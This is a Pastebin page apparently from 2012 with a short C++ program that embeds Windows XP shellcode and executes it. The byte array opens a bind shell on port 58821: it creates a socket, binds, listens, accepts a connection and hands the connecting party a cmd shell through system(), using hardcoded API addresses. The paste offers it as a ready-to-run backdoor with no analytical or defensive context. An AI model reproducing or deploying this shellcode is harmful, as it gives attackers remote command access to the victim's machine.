Advertisement
emS-St1ks

Windows /Xp-sp1p2sp3 portshell port 58821

Jul 12th, 2012
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.98 KB | None | 0 0
  1.  
  2. /* 266 bytes Upgrade Crazy St1ks - Hacker's */
  3. /* nice excute */
  4.  
  5.  
  6.  
  7.  
  8. #include <stdio.h>
  9. #include <winsock2.h>
  10.  
  11. unsigned char bindcode[] = // 116 bytes bindcode for windows, port=58821, by silicon :)
  12. "\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06"
  13. "\x6A\x01\x6A\x02\xB8"
  14. "\x01\x5A\xAB\x71" // address of WSASocketA()
  15. "\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0"
  16. "\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\xE5"
  17. "\xC5\x6A\x10\x8D\x55\xF0\x52\x53\xB8"
  18. "\xCE\x3E\xAB\x71" // address of bind()
  19. "\xFF\xD0\x6A\x01\x53\xB8"
  20. "\xE2\x5D\xAB\x71" // address of listen()
  21. "\xFF\xD0\x33\xC0\x50\x50\x53\xB8"
  22. "\x8D\x86\xAB\x71" // address of accept()
  23. "\xFF\xD0\x8B\xD8\xBA"
  24. "\x1D\x20\xE8\x77" // address of SetStdHandle()
  25. "\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2"
  26. "\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63"
  27. "\x6D\x64\x8D\x45\xFC\x50\xB8"
  28. "\x44\x80\xC2\x77" // address of system()
  29. "\xFF\xD0";
  30.  
  31. int main(){
  32.  WSADATA wsadata;
  33.  WSAStartup(WINSOCK_VERSION,&wsadata);
  34.  ((void (*)(void)) &bindcode)();
  35. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement